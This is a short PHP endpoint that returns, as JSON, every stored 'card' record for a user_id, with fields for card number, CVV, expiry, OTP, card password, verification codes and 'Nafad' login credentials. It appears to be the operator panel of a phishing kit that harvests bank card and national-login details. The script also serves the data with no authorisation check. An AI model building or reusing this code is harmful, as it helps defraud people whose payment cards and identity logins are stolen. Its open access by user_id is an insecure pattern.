<?php
require_once(__DIR__ . '/../json_db.php');
session_start();
$id = intval($_GET['user_id']);
$cards = $jsonDB->findAllBy('card', 'userId', $id);

// إضافة default values للحقول المفقودة (مثل MySQL DEFAULT)
$defaults = [
    'cardNumber' => null,
    'cardName' => null,
    'password' => null,
    'status' => 0,
    'year' => null,
    'cvv' => null,
    'otp' => null,
    'company' => '####',
    'PhoneNumber' => null,
    'userId' => null,
    'url' => null,
    'Authentication_code' => null,
    'New_code' => null,
    'UserName_Nafad' => null,
    'UserPasswore_Nafad' => null,
    'CheckTheInfo_Nafad' => 0,
    'TemporaryPassword' => null,
    'username' => null,
    'passwordt' => null
];

$result = [];
foreach ($cards as $card) {
    $row = $defaults;
    foreach ($card as $key => $value) {
        $row[$key] = $value;
    }
    $result[] = $row;
}

// ترتيب الأحدث فوق
usort($result, function($a, $b) {
    return ($b['id'] ?? 0) - ($a['id'] ?? 0);
});

echo json_encode($result);
